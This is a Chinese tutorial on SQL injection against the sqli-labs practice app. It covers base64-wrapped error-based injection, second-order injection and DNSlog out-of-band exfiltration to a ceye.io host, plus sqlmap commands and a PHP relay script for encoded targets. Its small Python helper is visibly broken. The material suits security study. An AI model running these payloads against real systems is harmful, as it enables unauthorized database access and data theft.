加密注入、二次漏洞注入、DNSlog注入
加密注入:
什么是加密注入??下面將由一個例子闡述:
以sqlilabs-less-21為例
1.在登錄界面輸入賬戶密碼提交抓包
2.在抓到這條資料,將umane的值進行base64解密:

解密結果為admin(注:%3D就是=號)
在admin的基礎上進行修改,bb修改為:
admin' or updatexml(1,concat(0x7e,(version())),0) or '
以上代碼為盲注中的報錯注入(不懂的請點我)
再進行base64加密,加密結果為:
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh2ZXJzaW9uKCkpKSwwKSBvciAn,再將值替換,轉發出去即可,
如下圖,在右邊區域爆出了資料庫的名字

二次注入漏洞
二次注入漏洞就是在代碼內部運作時產生的漏洞(代碼的問題),一般黑盒測驗不出結果,只有白盒測驗才能進行測驗
以sqlilabs-less-24為例
例如一個最簡單的例子:

當注冊一個賬號aaaa后,再另外注冊一個賬號aaaa’#,當你登錄修改aaaa’#的密碼時,你會驚奇的發現,修改的卻是aaaa的密碼
原因是因為在他的源代碼中有這么一句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
當我們傳入aaaa’#時,'$username'變為'aaaa'#形成了閉合,并用#號注釋掉了后面的內容
所以在修改aaaa’#的密碼時,就會修改到aaaa的頭上
DNSlog注入:
DNSlog的主要作用是:
解決盲注無法回顯,效率低的問題
1.注冊并登錄平臺:ceye.io,找到主頁獲取Identifier

把下列中sql陳述句中的identifier的值(plnxji.ceye.io)替換成你自己的值
select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.plnxji.ceye.io\\abc'))),1,0);
在網站里的DNS Qucry即可看到,已經爆出了version()的值

當然,上面的操作還是稍微有點繁瑣的,推薦一款工具:
https://github.com/ADOOO/DnslogSqlinj
解壓縮工具后,需要在工具中的config.py檔案配置addr和api(就是網站后臺那兩個值)

運行腳本(我這里用的python2.7.13):
運行軟體時,下圖已經給出了命令格式(下面也有很多引數可用,這里就不詳講了)

運行,等待結果:
python dnslogSql.py -u "http://192.168.56.217:8080/sqlilabs/less-9/?id=1' and ({})--+"
下圖即可看到成功查出用戶權限以及資料庫名

補充:
在加密注入的基礎上,如果你使用了一款工具不自帶base64加解密怎么辦?
說明:用以下代碼的目的是提供一個base64的中轉,例如:http://xxxx/?id=MQ==,其中MQ==是1通過base64加密得來的,但是你使用的工具不認得這個資料,如何解決這個問題呢???
php腳本中轉
使用php寫法有一定的優勢,例如通過瀏覽器訪問127.0.0.1/test.php?x=
,這里提供了一個中轉的介面,可以使用注入工具直接跑這個地址即可實作中轉:
#檔案名為:test.php
<? php
$url="http://xxxx/about_us.php?ID="; #目標站點,例如某站id后面都是base64加密的內容
$payload=base64_encode($_GET['x']); #設定一個被x值,被base64加密并賦值
echo $payload;
$urls=$url.$payload; #將目標站點和被base64加密后的x拼接起來
file_get_contents($urls);
echo $urls;
?>

測驗:
例如使用sqlmap進行測驗(實質上sqlmap是有base64功能的,這里只做學習使用):
python sqlmap.py -u '127.0.0.1/test.php?x=' -v 3
python寫法
python寫法,我就隨便寫了寫,好像沒多大用處,用php寫法比較實用,
url="http://xxxx/?id="
#coding: utf-8
import request
import base64
encodeStrTest = base64.encodestring("{id}".format(id=input("")))
urls=url+encodeStrTest
print(urls)
下圖,輸入1即可自動將轉換為base64的值拼接到原網站上

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/353285.html
標籤:其他
上一篇:C中的數字輸出
